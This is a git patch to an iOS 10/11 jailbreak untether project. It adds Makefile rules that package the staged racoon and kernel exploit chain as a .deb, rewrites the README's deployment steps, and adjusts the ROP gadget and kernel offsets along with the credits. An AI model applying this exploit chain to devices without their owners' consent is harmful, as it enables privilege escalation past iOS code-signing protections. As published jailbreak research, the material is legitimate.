From 1845ffc8706018e0f5babdb97fffef9b832e4146 Mon Sep 17 00:00:00 2001 From: Matthew Benedict <46784000+UInt2048@users.noreply.github.com> Date: Sun, 12 May 2024 20:58:44 +0900 Subject: [PATCH] Found the right fd --- .gitmodules | 2 +- Makefile | 36 +++-- README.md | 39 +++-- src/app/CreditsVC.m | 187 ++--------------------- src/app/MainVC.m | 2 +- src/shared/common.h | 2 +- src/shared/jailbreak.m | 51 +++---- src/shared/jboffsets.h | 13 +- src/untether/compile_stage2.sh | 2 +- src/untether/compile_stage3.sh | 8 +- src/untether/control | 9 ++ src/untether/install.m | 10 +- src/untether/stage1.h | 6 +- src/untether/stage1.m | 4 + src/untether/stage2.entitlements | 254 +------------------------------ src/untether/stage2.m | 25 ++- src/untether/stage4.m | 2 +- submodules/libjake | 2 +- 18 files changed, 137 insertions(+), 517 deletions(-) create mode 100644 src/untether/control diff --git a/.gitmodules b/.gitmodules index 25c8189..5d24fd4 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,3 @@ [submodule "submodules/libjake"] path = submodules/libjake - url = https://github.com/JakeBlair420/libjake.git + url = https://github.com/UInt2048/libjake.git diff --git a/Makefile b/Makefile index c586233..2719154 100644 --- a/Makefile +++ b/Makefile @@ -10,6 +10,7 @@ RES = res APP = $(BIN)/Payload/$(TARGET_GUI).app SRC_GUI = src/app SRC_CLI = src/untether +PAYLOAD = $(SRC_CLI)/generated/lol.spyware.spiceuntether_1.0.160_iphoneos-arm.deb NO_UNTETHER := $(SRC_CLI)/stage3.m $(SRC_CLI)/stage4.m $(SRC_CLI)/generator.m # These are only pre-dependencies UNTETHER_SRC := $(filter-out $(NO_UNTETHER),$(wildcard $(SRC_CLI)/*.m)) SRC_ALL = src/shared @@ -42,7 +43,7 @@ IBTOOL_FLAGS ?= --output-format human-readable-text --errors --warnings --not SIGN ?= codesign SIGN_FLAGS ?= -s - -.PHONY: all ipa untether clean install +.PHONY: all ipa untether clean install payload all: $(IPA) $(UNTETHER) $(TRAMP) @@ -50,6 +51,8 @@ ipa: $(IPA) untether: $(UNTETHER) $(TRAMP) +payload: $(PAYLOAD) + $(IPA): $(addprefix $(APP)/, $(FILES)) cd $(BIN) && zip -x .DS_Store -qr9 ../$@ Payload @@ -67,17 +70,30 @@ $(APP)/jailbreak-resources.deb: cp $(RES)/jailbreak-resources.deb $@ # TODO: Make more accurate prerequisites - -$(SRC_CLI)/generated/stage2_hash3.h: $(SRC_CLI)/stage3.m + +$(SRC_CLI)/jboffsets.h: +$(SRC_CLI)/compile_stage2.sh: +$(SRC_CLI)/compile_stage3.sh: +$(SRC_CLI)/compile_stage4.sh: + +$(SRC_CLI)/generated/stage2_hash3.h: $(SRC_CLI)/stage3.m $(SRC_CLI)/compile_stage3.sh bash $(SRC_CLI)/compile_stage3.sh - -$(SRC_CLI)/generated/stage2_hash4.h: $(SRC_CLI)/stage4.m $(SRC_ALL)/*.m $(SRC_ALL)/*.c $(SRC_CLI)/generated/stage2_hash3.h + +$(SRC_CLI)/generated/stage2_hash4.h: $(SRC_CLI)/stage4.m $(SRC_ALL)/*.m $(SRC_ALL)/*.c $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/compile_stage4.sh bash $(SRC_CLI)/compile_stage4.sh - -$(SRC_CLI)/stage2.m: $(SRC_ALL)/*.c $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/generated/stage2_hash4.h + +$(SRC_CLI)/install.m: $(SRC_CLI)/jboffsets.h $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/generated/install_stage3_offsets.h + +$(SRC_CLI)/stage2.m: $(SRC_ALL)/*.c $(SRC_CLI)/install.m $(SRC_CLI)/stage1.m $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/generated/stage2_hash4.h $(SRC_CLI)/stage2.entitlements $(SRC_CLI)/compile_stage2.sh bash $(SRC_CLI)/compile_stage2.sh - -$(SRC_CLI)/install.m: $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/generated/install_stage3_offsets.h + +$(PAYLOAD): $(UNTETHER_SRC) $(SRC_ALL)/*.m $(SRC_ALL)/*.c $(SRC_CLI)/*.sh $(SRC_CLI)/generated/stage2_hash3.h $(SRC_CLI)/generated/stage2_hash4.h $(SRC_CLI)/stage2.m + rm -rf -- $(SRC_CLI)/generated/package && rm -f $(SRC_CLI)/generated/*.deb + mkdir -p $(SRC_CLI)/generated/package/DEBIAN && cp $(SRC_CLI)/control $(SRC_CLI)/generated/package/DEBIAN/control + mkdir -p $(SRC_CLI)/generated/package/private/etc/racoon && cp $(SRC_CLI)/generated/install_stage1_2 $(SRC_CLI)/generated/package/private/etc/racoon/install_stage1_2 + mkdir -p $(SRC_CLI)/generated/package/usr/sbin && cp $(SRC_CLI)/generated/racoon.dylib $(SRC_CLI)/generated/package/usr/sbin/racoon.dylib + mkdir -p $(SRC_CLI)/generated/package/mystuff && cp $(SRC_CLI)/generated/stage4 $(SRC_CLI)/generated/package/mystuff/stage4 + find . -name ".DS_Store" -delete && dpkg-deb -b $(SRC_CLI)/generated/package && dpkg-name $(SRC_CLI)/generated/package.deb $(APP)/$(TARGET_GUI): $(SRC_GUI)/*.m $(SRC_ALL)/*.m $(SRC_ALL)/*.c $(JAKE)/libjake.a $(SRC_CLI)/uland_offsetfinder.m | $(APP) $(IGCC) $(ARCH_GUI) $(UNTETHER_FLAGS) -o $@ -Wl,-exported_symbols_list,res/app.txt $(IGCC_FLAGS) $^ @@ -97,7 +113,7 @@ $(APP): $(APP)/Base.lproj: mkdir -p $@ -$(UNTETHER): $(UNTETHER_SRC) $(SRC_ALL)/*.m $(SRC_ALL)/*.c $(JAKE)/libjake.a +$(UNTETHER): $(UNTETHER_SRC) $(SRC_ALL)/*.m $(SRC_ALL)/*.c $(JAKE)/libjake.a | $(PAYLOAD) $(IGCC) $(ARCH_CLI) $(UNTETHER_FLAGS) -shared -o $@ -Wl,-exported_symbols_list,res/untether.txt $(IGCC_FLAGS) $^ $(SIGN) $(SIGN_FLAGS) $@ diff --git a/README.md b/README.md index df23c5e..32e1a6e 100644 --- a/README.md +++ b/README.md @@ -130,21 +130,40 @@ So we just use swapprefix sysctl and the cool thing about this is that it's a st We can use this to put our fake port at a known address and both new trustcache entries. ## Installation -For compilation of stage 2-4, use the shell scripts in the untether folder, the makefile only works for the app. -For the installation, copy stage 2 onto the device into some random folder and stage 3 (/usr/sbin/racoon.dylib) and 4 (/mystuff/stage4) at their right paths. -Create the folder /var/run/racoon and run stage 2 (note: stage 1 expects stage 2 at /private/etc/racoon/stg2). -Then execute racoon till it doesn't kernel panic anymore to make sure you got the right offsets. -Then also set the nvram variable boot-args to "`__developer_mode_enabled`" and check if the system keeps running stable even with racoon (this is the killswitch). -If you did you can then go for the real untether by replacing one of the launch daemons and unsetting the variable to run the untether on the next boot. -There you need to watch out for three things: +Obviously, just run `make` to create all generated files (the makefile requires macOS, use a VM or something if you need it). + +The app is a *semi-untethered jailbreak*. The app will not install the untether payload. + +If you have an issue upgrading essential packages, run `apt --fix-broken install file libplist3 libssl1.1.1` then `apt install -f dpkg ldid -o APT::Immediate-Configure=0` over an SSH connection. + +To install the untether payload (these files are located in ./src/untether/generated): +1. Install the DEB file (use `make payload` if you can't find it) or manually copy the stage 1-2 install script to `/private/etc/racoon/install_stage1_2`, stage 3 to `/usr/sbin/racoon.dylib`, and stage 4 to `/mystuff/stage4`. +2. Type `/private/etc/racoon/install_stage1_2` in a terminal or SSH connection. This will create the folder `/var/run/racoon` if it does not yet exist. +There will be a lot of output. If successful, the end looks something like: +``` +0x1f0214e60: 0x00000000 (NOP) +0x1f0214e68: 0x1e1639494 (code address org:1a1639494) Beast gadget (x30) += +=== +2024-05-11 05:47:33.135 install_stage1_2[4321:134320] Chain will be at: 1afe90d30 +2024-05-11 05:47:33.141 install_stage1_2[4321:134320] 4610 iterations +``` +3. Then execute racoon (the real one in PATH, should be `/usr/sbin/racoon`) till it doesn't kernel panic anymore to make sure you got the right offsets. +If you get a segfault, and the crash report shows the beast gadget offset listed in your output, you likely need to set `STAGE1FD_SCREAM_TEST` to find the right stage 1 fd in the crash log. +4. Then also set the nvram variable boot-args to "`__developer_mode_enabled`" and check if the system keeps running stable even with racoon (this is the killswitch). +5. If you did you can then go for the real untether by replacing one of the launch daemons and unsetting the killswitch to run the untether on the next boot. + +There, you need to watch out for three things: - the launch daemon isn't used by anything important (namely springboard) (otherwise you will softbrick when it fails to run) - the launch daemon doesn't have keepalive set (if it does launchd will try to always restart it if you crash it and that will also softbrick) - the launch daemon starts up early + We found out that you can safely replace prdaily but this one will start really late during boot so you get the same behaviour we also showed in febuary in the demo. You can also replace wifiFirmwareLoaderLegacy, but this one has keepalive set so you might softbrick. The big advantage you get tho is speed because it starts really early. -After you chose your daemon you need to update jailbreak.m to unload the right one (currently unloads prdaily) and recompile stage 4/replace it on disk again. -As a last step please run sync a few times to make sure that everything got written to disk and then fingers crossed it works and you don't softbrick. -If you restart and it keeps kernel panicing boot into recovery and set the boot-args to "`__developer_mode_enabled`" using irecovery and then reboot this will disable stage 2/the kernel exploit. + +If you choose something other than prdaily, you need to update jailbreak.m to unload the right one (currently unloads prdaily) and recompile stage 4/replace it on disk again. +As a last step, please run sync a few times to make sure that everything got written to disk and then fingers crossed it works and you don't softbrick. +If you restart and it keeps kernel panicing, boot into recovery and set the boot-args to "`__developer_mode_enabled`" using irecovery and then reboot this will disable stage 2/the kernel exploit. If you still can't boot after that you basically softbricked sry. ## References diff --git a/src/app/CreditsVC.m b/src/app/CreditsVC.m index 7da413f..1b719a1 100644 --- a/src/app/CreditsVC.m +++ b/src/app/CreditsVC.m @@ -1,84 +1,6 @@ #import "CreditsVC.h" -// Copied from , don't actually do this -#import -#include -#include "patchfinder.h" -static offsets_t dynamicOffsets(const char *config_path, const char *racoon_path, const char *dyld_cache_path) { - init_uland_offsetfinder(racoon_path,dyld_cache_path); - - // init the kernel offset finder (libjake) - jake_img_t kernel_symbols = malloc(sizeof(jake_img)); - -#define KERNEL_CACHE_PATH "/System/Library/Caches/com.apple.kernelcaches/kernelcache" - if (jake_init_image(kernel_symbols, KERNEL_CACHE_PATH)) { - LOG("Patchfinder init failed\n"); - return (offsets_t){}; - } - - // Duplicate code from stage2.m -#define sym(name) jake_find_symbol(kernel_symbols,name) - return (offsets_t){ - .constant = { - .kernel_image_base = 0xfffffff007004000, // static - }, - .funcs = { - .copyin = sym("_copyin"), // symbol, duplicate - .copyout = sym("_copyout"), // symbol - .current_task = sym("_current_task"), // symbol - .get_bsdtask_info = sym("_get_bsdtask_info"), // symbol - .vm_map_wire_external = sym("vm_map_wire_external"), // symbol - .vfs_context_current = sym("vfs_context_current"), // symbol - .vnode_lookup = sym("_vnode_lookup"), // symbol - .osunserializexml = sym("__Z16OSUnserializeXMLPKcPP8OSString"), // symbol - .proc_find = sym("_proc_find"), // symbol - .proc_rele = sym("_proc_rele"), // symbol - - .smalloc = 0xfffffff006b1acb0, - .ipc_port_alloc_special = 0xfffffff0070b9328, - .ipc_kobject_set = 0xfffffff0070cf2c8, - .ipc_port_make_send = 0xfffffff0070b8aa4, - }, - .gadgets = { - .add_x0_x0_ret = sym("_csblob_get_cdhash"), // gadget - }, - .data = { - .kernel_task = sym("_kernel_task"), // symbol - .kern_proc = sym("_kernproc"), // symbol - .rootvnode = sym("_rootvnode"), // symbol - - .realhost = find_realhost(kernel_symbols), // _host_priv_self -> adrp addr - .zone_map = find_zonemap(kernel_symbols), // str 'zone_init: kmem_suballoc failed', first qword above - .osboolean_true = 0, // OSBoolean::withBoolean -> first adrp addr - .trust_cache = find_trustcache(kernel_symbols), // duplicate of trust_chain_head_ptr? - }, - .vtabs = { - .iosurface_root_userclient = 0, // 'iometa -Csov IOSurfaceRootUserClient kernel', vtab=... - }, - .struct_offsets = { - .is_task_offset = 0x28, // duplicate - .task_itk_self = 0xd8, - .itk_registered = 0x2f0, // duplicate - .ipr_size = 8, // duplicate, ipc_port_request->name->size - .sizeof_task = 0x5c8, // size of entire task struct - .proc_task = 0, // proc->task - .proc_p_csflags = 0, // proc->p_csflags (_cs_restricted, first ldr offset) - .task_t_flags = 0x3a0, // task->t_flags, not set in untether version - .task_all_image_info_addr = 0x3a8, // task->all_image_info_addr (theoretically just +0x8 from t_flags) - .task_all_image_info_size = 0x3b0, // task->all_image_info_size - }, - .iosurface = { - .create_outsize = 0, - .create_surface = 0, - .set_value = 0, - }, - }; -} - -// End copied code - UILabel *creditLabel; -UILabel *offsetLabel; @implementation CreditsVC @@ -111,112 +33,21 @@ - (void)loadView creditLabel = [UILabel new]; creditLabel.translatesAutoresizingMaskIntoConstraints = NO; - creditLabel.numberOfLines = 0; - creditLabel.text = @"Credit to @s1guza, @stek29, @sparkey, @littlelailo\nfor creating the untether\nCredit to @UInt2048 for fixing the UI and offsets"; + creditLabel.numberOfLines = 7; + creditLabel.text = @"\ +- JakeBlair420 team for the actual jailbreak\n\ +- Apple for XNU source and leaving CVE-2020-3840 in iOS for years (since iPhoneOS 1.0 if you believe the NVD entry for CVE-2012-3727)\n\ +- National Security Agency for Ghidra\n\ +- planetbeing et al. for xpwntool to decompress the iOS 10 kernel cache\n\ +- PrimePlatypus, LukeZGD, cxdxn1 for explaining that xpwntool exists and how to use it\n\ +- blacktop for the ipsw tool to decompress the iOS 11 kernel cache\n\ +- Jonathan Levin for jtool"; [creditLabel setBackgroundColor:[UIColor colorWithRed:1.00 green:0.00 blue:0.00 alpha:0.0]]; creditLabel.font = [UIFont systemFontOfSize:14]; [self.view addSubview:creditLabel]; [self.view addConstraint:[NSLayoutConstraint constraintWithItem:creditLabel attribute:NSLayoutAttributeCenterX relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterX multiplier:1.0 constant:0.0]]; [self.view addConstraint:[NSLayoutConstraint constraintWithItem:creditLabel attribute:NSLayoutAttributeCenterY relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterY multiplier:1.7 constant:0.0]]; - - -#define CONFIG_PATH "etc/racoon/racoon.conf" -#define RACOON_PATH "/usr/sbin/racoon" -#ifdef __LP64__ -#define DYLD_CACHE_PATH "/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64" -#else -#define DYLD_CACHE_PATH "/System/Library/Caches/com.apple.dyld/dyld_shared_cache_armv7s" -#endif - - offsets_t offs = dynamicOffsets(CONFIG_PATH, RACOON_PATH, DYLD_CACHE_PATH); - - offsetLabel = [UILabel new]; - offsetLabel.translatesAutoresizingMaskIntoConstraints = NO; - offsetLabel.numberOfLines = 0; - offsetLabel.text = [NSString stringWithFormat:@"\ - kernel_image_base: %x\n\ - copyin: %x\n\ - copyout: %x\n\ - current_task: %x\n\ - get_bsdtask_info: %x\n\ - vm_map_wire_external: %x\n\ - vfs_context_current: %x\n\ - vnode_lookup: %x\n\ - osunserializexml: %x\n\ - proc_find: %x\n\ - proc_rele: %x\n\ - smalloc: %x\n\ - ipc_port_alloc_special: %x\n\ - ipc_kobject_set: %x\n\ - ipc_port_make_send: %x\n\ - add_x0_x0_ret: %x\n\ - kernel_task: %x\n\ - kern_proc: %x\n\ - rootvnode: %x\n\ - realhost: %x\n\ - zone_map: %x\n\ - osboolean_true: %x\n\ - trust_cache: %x\n\ - iosurface_root_userclient: %x\n\ - is_taskoffset: %x\n\ - task_itk_self: %x\n\ - itk_registered: %x\n\ - ipr_size: %x\n\ - sizeof_task: %x\n\ - proc_task: %x\n\ - proc_p_csflags: %x\n\ - task_t_flags: %x\n\ - task_all_image_info_addr: %x\n\ - task_all_image_info_size: %x\n\ - create_outsize: %x\n\ - create_surface: %x\n\ - set_value: %x\n\ - ", - offs.constant.kernel_image_base, - offs.funcs.copyin, - offs.funcs.copyout, - offs.funcs.current_task, - offs.funcs.get_bsdtask_info, - offs.funcs.vm_map_wire_external, - offs.funcs.vfs_context_current, - offs.funcs.vnode_lookup, - offs.funcs.osunserializexml, - offs.funcs.proc_find, - offs.funcs.proc_rele, - offs.funcs.smalloc, - offs.funcs.ipc_port_alloc_special, - offs.funcs.ipc_kobject_set, - offs.funcs.ipc_port_make_send, - offs.gadgets.add_x0_x0_ret, - offs.data.kernel_task, - offs.data.kern_proc, - offs.data.rootvnode, - offs.data.realhost, - offs.data.zone_map, - offs.data.osboolean_true, - offs.data.trust_cache, - offs.vtabs.iosurface_root_userclient, - offs.struct_offsets.is_task_offset, - offs.struct_offsets.task_itk_self, - offs.struct_offsets.itk_registered, - offs.struct_offsets.ipr_size, - offs.struct_offsets.sizeof_task, - offs.struct_offsets.proc_task, - offs.struct_offsets.proc_p_csflags, - offs.struct_offsets.task_t_flags, - offs.struct_offsets.task_all_image_info_addr, - offs.struct_offsets.task_all_image_info_size, - offs.iosurface.create_outsize, - offs.iosurface.create_surface, - offs.iosurface.set_value - ]; - [offsetLabel setBackgroundColor:[UIColor colorWithRed:1.00 green:0.00 blue:0.00 alpha:0.0]]; - offsetLabel.font = [UIFont systemFontOfSize:14]; - [self.view addSubview:offsetLabel]; - [self.view addConstraint:[NSLayoutConstraint constraintWithItem:offsetLabel attribute:NSLayoutAttributeCenterX relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterX multiplier:1.0 constant:0.0]]; - [self.view addConstraint:[NSLayoutConstraint constraintWithItem:offsetLabel attribute:NSLayoutAttributeBottom relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterY multiplier:1.7 constant:0.0]]; - } @end diff --git a/src/app/MainVC.m b/src/app/MainVC.m index 4a059c1..0df28b7 100644 --- a/src/app/MainVC.m +++ b/src/app/MainVC.m @@ -47,7 +47,7 @@ - (void)loadView titleLabel = [UILabel new]; titleLabel.translatesAutoresizingMaskIntoConstraints = NO; - titleLabel.text = @"An iOS 10.3.4 untether"; + titleLabel.text = @"First untether-upgradable iOS 11 jailbreak"; [titleLabel setBackgroundColor:[UIColor colorWithRed:1.00 green:0.00 blue:0.00 alpha:0.0]]; titleLabel.font = [UIFont systemFontOfSize:14]; diff --git a/src/shared/common.h b/src/shared/common.h index 056066a..215ed9d 100644 --- a/src/shared/common.h +++ b/src/shared/common.h @@ -97,7 +97,7 @@ typedef struct { kptr_t osunserializexml; kptr_t smalloc; kptr_t proc_find; // Not in stage2.m version - kptr_t proc_rele; // NOt in stage2.m version + kptr_t proc_rele; // Not in stage2.m version kptr_t ipc_port_alloc_special; kptr_t ipc_kobject_set; diff --git a/src/shared/jailbreak.m b/src/shared/jailbreak.m index 2ca75e2..e989052 100644 --- a/src/shared/jailbreak.m +++ b/src/shared/jailbreak.m @@ -22,11 +22,24 @@ #include "ArchiveFile.h" #include "jailbreak.h" -#include "../untether/uland_offsetfinder.h" -#include "patchfinder.h" - #include "jboffsets.h" +#define MACH(func)\ + ret = func;\ + if (ret != KERN_SUCCESS)\ + {\ + LOG(#func " (ln.%d) failed: %x (%s)", __LINE__, ret, mach_error_string(ret));\ + goto out;\ + } + +#define VAL_CHECK(value)\ + if ((value) == 0x0)\ + {\ + LOG("(ln.%d)failed to find " #value "!", __LINE__);\ + ret = KERN_FAILURE;\ + goto out;\ + } + offsets_t offs = (offsets_t){ .constant = { .kernel_image_base = OFF_KERNEL_IMAGE_BASE, // static @@ -47,7 +60,7 @@ .ipc_kobject_set = OFF_IPC_KOBJECT_SET, // above _mach_msg_send_from_kernel_proper (2nd above for 10.3.4) .ipc_port_make_send = OFF_IPC_PORT_MAKE_SEND, // first call in long path of KUNCUserNotificationDisplayFromBundle }, - .gadgets = { + .gadgets = { .add_x0_x0_ret = OFF_ADD_X0_X0_RET, // gadget (or _csblob_get_cdhash) }, .data = { @@ -63,7 +76,7 @@ .iosurface_root_userclient = OFF_IOSURFACE_ROOT_USERCLIENT, // (on iOS 10.3.4, search "IOSurfaceRootUserClient", store in function below first reference) 'iometa -Csov IOSurfaceRootUserClient kernel', vtab=... }, .struct_offsets = { - .is_task_offset = OFF_IS_TASK, // "ipc_task_init", lower of two final offsets to a local variable in decompiled code + .is_task_offset = OFF_IS_TASK, // "ipc_task_init", lower of two final offsets to a local variable in decompiled code .task_itk_self = OFF_TASK_ITK_SELF, // first reference of ipc_task_reset, offset after _lck_mtx_lock .itk_registered = OFF_ITK_REGISTERED, // "ipc_task_init", first comparison below to parameter, first str offset in not zero branch .ipr_size = OFF_IPR_SIZE, // "ipc_object_copyout_dest: strange rights", offset of second ldr in function below (long path: search all instances of 0x10000003 to find _kernel_rpc_mach_port_construct_trap, needs to have a copyin call, and travel chain) @@ -81,40 +94,12 @@ }, }; -#define MACH(func)\ - ret = func;\ - if (ret != KERN_SUCCESS)\ - {\ - LOG(#func " (ln.%d) failed: %x (%s)", __LINE__, ret, mach_error_string(ret));\ - goto out;\ - } - -#define VAL_CHECK(value)\ - if ((value) == 0x0)\ - {\ - LOG("(ln.%d)failed to find " #value "!", __LINE__);\ - ret = KERN_FAILURE;\ - goto out;\ - } - task_t kernel_task; kptr_t kernel_slide; kptr_t kernproc; kern_return_t jailbreak(uint32_t opt) { -#if 0 -#define CONFIG_PATH "etc/racoon/racoon.conf" -#define RACOON_PATH "/usr/sbin/racoon" -#ifdef __LP64__ -#define DYLD_CACHE_PATH "/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64" -#else -#define DYLD_CACHE_PATH "/System/Library/Caches/com.apple.dyld/dyld_shared_cache_armv7s" -#endif - -offs = dynamicOffsets(CONFIG_PATH, RACOON_PATH, DYLD_CACHE_PATH); -#endif - kern_return_t ret = 0; task_t self = mach_task_self(); kptr_t kbase = 0; diff --git a/src/shared/jboffsets.h b/src/shared/jboffsets.h index b019a93..b222db6 100644 --- a/src/shared/jboffsets.h +++ b/src/shared/jboffsets.h @@ -1,4 +1,9 @@ #ifndef JBOFFSETS_H +#define JBOFFSETS_H + +// If you forget to enable this when you don't have the right offset in stage1.h, +// you'll receive a segfault in stage 1 (KERN_INVALID_ADDRESS) with pc = OFF_BEAST_GADGET since it won't be mapped +#define STAGE1FD_SCREAM_TEST 0 // Define devices #define N41_10_3_4 0 @@ -68,7 +73,7 @@ // #define OFF_CBZ_X0_X16_LOAD 0x1b1c0e000+0x2c8 // decode the gadget above there will be a jump, follow that jump and decode the adrp and add there // #define OFF_ADD_X0_GADGET 0x18518bb90 // search the dyld cache for a0 02 14 8b fd 7b 42 a9 f4 4f 41 a9 f6 57 c3 a8 c0 03 5f d6 // #define OFF_ERRNO 0x1b30f1000+0xff8+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // we can get that by getting a raw syscall (for example __mmap, then searching for a branch following that and then searching for an adrp and a str) -// #define OFF_MACH_MSG 0x1b1896018+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // address of label _NDR_record, we need to map it before using it +// #define OFF_NDR_RECORD 0x1b1896018+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // address of label _NDR_record, we need to map it before using it // #define OFF_LONGJMP realsym(dyld_cache_path,"__longjmp") // dlsym of __longjmp // #define OFF_STACK_PIVOT 0x180b12714 // longjmp from mov x2, sp // #define OFF_MMAP realsym(dyld_cache_path,"___mmap") // dlsym of ___mmap @@ -140,7 +145,7 @@ #define OFF_CBZ_X0_X16_LOAD 0x1b1c16000+0x2c8 // decode the gadget above there will be a jump, follow that jump and decode the adrp and add there #define OFF_ADD_X0_GADGET 0x18518bb90 // search the dyld cache for a0 02 14 8b fd 7b 42 a9 f4 4f 41 a9 f6 57 c3 a8 c0 03 5f d6 #define OFF_ERRNO 0x1b30f9000+0xff8+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // we can get that by getting a raw syscall (for example __mmap, then searching for a branch following that and then searching for an adrp and a str) -#define OFF_MACH_MSG 0x1b189e018+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // address of label _NDR_record, we need to map it before using it +#define OFF_NDR_RECORD 0x1b189e018+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // address of label _NDR_record, we need to map it before using it #define OFF_LONGJMP 0x180b126e8 // dlsym of __longjmp #define OFF_STACK_PIVOT 0x180b12714 // longjmp from mov sp, x2 #define OFF_MMAP 0x18097cbf4 // dlsym of ___mmap @@ -306,7 +311,7 @@ #define OFF_CBZ_X0_X16_LOAD 0x1b1c0e000+0x2c8 // decode the gadget above there will be a jump, follow that jump and decode the adrp and add there #define OFF_ADD_X0_GADGET 0x18518bb90 // search the dyld cache for a0 02 14 8b fd 7b 42 a9 f4 4f 41 a9 f6 57 c3 a8 c0 03 5f d6 #define OFF_ERRNO 0x1b30f1000+0xff8+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // we can get that by getting a raw syscall (for example __mmap, then searching for a branch following that and then searching for an adrp and a str) -#define OFF_MACH_MSG 0x1b1896018+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // address of label _NDR_record, we need to map it before using it +#define OFF_NDR_RECORD 0x1b1896018+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // address of label _NDR_record, we need to map it before using it #define OFF_LONGJMP realsym(dyld_cache_path,"__longjmp") // dlsym of __longjmp #define OFF_STACK_PIVOT 0x180b12714 // longjmp from mov x2, sp #define OFF_MMAP realsym(dyld_cache_path,"___mmap") // dlsym of ___mmap @@ -377,7 +382,7 @@ #define OFF_CBZ_X0_X16_LOAD 0x1b1d72000+0x4c8 // decode the gadget above there will be a jump, follow that jump and decode the adrp and add there #define OFF_ADD_X0_GADGET 0x18519cb90 // search the dyld cache for a0 02 14 8b fd 7b 42 a9 f4 4f 41 a9 f6 57 c3 a8 c0 03 5f d6 #define OFF_ERRNO 0x1b3263000+0xff8+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // we can get that by getting a raw syscall (for example __mmap, then searching for a branch following that and then searching for an adrp and a str) -#define OFF_MACH_MSG 0x1b1896018+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // VERIFY! address of label _NDR_record, we need to map it before using it +#define OFF_NDR_RECORD 0x1b1896018+OFF_NEW_CACHE_ADDR-OFF_OLD_CACHE_ADDR // VERIFY! address of label _NDR_record, we need to map it before using it #define OFF_LONGJMP realsym(dyld_cache_path,"__longjmp") // dlsym of __longjmp #define OFF_STACK_PIVOT 0x180b12714 // longjmp from mov x2, sp #define OFF_MMAP realsym(dyld_cache_path,"___mmap") // dlsym of ___mmap diff --git a/src/untether/compile_stage2.sh b/src/untether/compile_stage2.sh index e92a6ac..0ede1e7 100755 --- a/src/untether/compile_stage2.sh +++ b/src/untether/compile_stage2.sh @@ -21,4 +21,4 @@ $(< ./sdk.txt) clang -mios-version-min=10.0 -arch "$(< ./arch.txt)" -DUSE_COMMON $(< ./sdk.txt) clang -mios-version-min=10.0 -arch "$(< ./arch.txt)" -DUSE_COMMONCRYPTO=1 -DDER_MULTIBYTE_TAGS=1 -DDER_TAG_SIZE=8 -I../../submodules/libjake/img4lib/ -I../../submodules/libjake/img4lib/libDER/ -c ../../submodules/libjake/img4lib/libDER/oids.c -o ../../submodules/libjake/img4lib/libDER/oids.o libtool -o ../../submodules/libjake/img4lib/libimg4.a ../../submodules/libjake/img4lib/lzss.o ../../submodules/libjake/img4lib/libvfs/*.o ../../submodules/libjake/img4lib/libDER/*.o -$(< ./sdk.txt) clang -mios-version-min=10.0 -arch "$(< ./arch.txt)" ../../submodules/libjake/img4lib/libimg4.a ../../submodules/libjake/libjake.a ../shared/realsym.c generator.m install.m stage1.m racoon_www.m uland_offsetfinder.m a64.c stage2.m -I ../ -I ../../submodules/libjake/src/ -I ../../submodules/libjake/img4lib/libvfs/ -o ./generated/stage2 -framework Security -framework IOKit -framework CoreFoundation -framework Foundation -L../../submodules/libjake/img4lib/ -L../../submodules/libjake/lib/ && ldid -Sstage2.entitlements ./generated/stage2 +$(< ./sdk.txt) clang -mios-version-min=10.0 -arch "$(< ./arch.txt)" ../../submodules/libjake/img4lib/libimg4.a ../../submodules/libjake/libjake.a ../shared/realsym.c generator.m install.m stage1.m racoon_www.m uland_offsetfinder.m a64.c stage2.m -I ../ -I ../../submodules/libjake/src/ -I ../../submodules/libjake/img4lib/libvfs/ -o ./generated/install_stage1_2 -framework Security -framework IOKit -framework CoreFoundation -framework Foundation -L../../submodules/libjake/img4lib/ -L../../submodules/libjake/lib/ && ldid -Sstage2.entitlements ./generated/install_stage1_2 \ No newline at end of file diff --git a/src/untether/compile_stage3.sh b/src/untether/compile_stage3.sh index 1624c2a..726ce5a 100755 --- a/src/untether/compile_stage3.sh +++ b/src/untether/compile_stage3.sh @@ -2,14 +2,14 @@ # Makefile for stage 3 as the Makefile in the root dir is outdated (because I suck at Makefiles) cd $(realpath "$(dirname "${BASH_SOURCE[0]}")") # Ensure we're in the script directory -$(< ./sdk.txt) clang -shared -fno-stack-protector -fno-stack-check -fno-builtin -ffreestanding -mios-version-min=10.0 -arch "$(< ./arch.txt)" stage3.m -o ./generated/stage3.dylib && jtool --sign --inplace ./generated/stage3.dylib && jtool --sig ./generated/stage3.dylib +$(< ./sdk.txt) clang -shared -fno-stack-protector -fno-stack-check -fno-builtin -ffreestanding -mios-version-min=10.0 -arch "$(< ./arch.txt)" stage3.m -o ./generated/racoon.dylib && jtool --sign --inplace ./generated/racoon.dylib && jtool --sig ./generated/racoon.dylib # We should sign stage 3 without a legacy SHA1 code directory # The hash we want is the first 20 bytes of the SHA256 CDHash # See https://developer.apple.com/documentation/technotes/tn3126-inside-code-signing-hashes echo -e -n "// Generated file by compile_stage3.sh, do not edit\n#ifndef STAGE2_HASH3\n#define STAGE2_HASH3 {0x" > ./generated/stage2_hash3.h 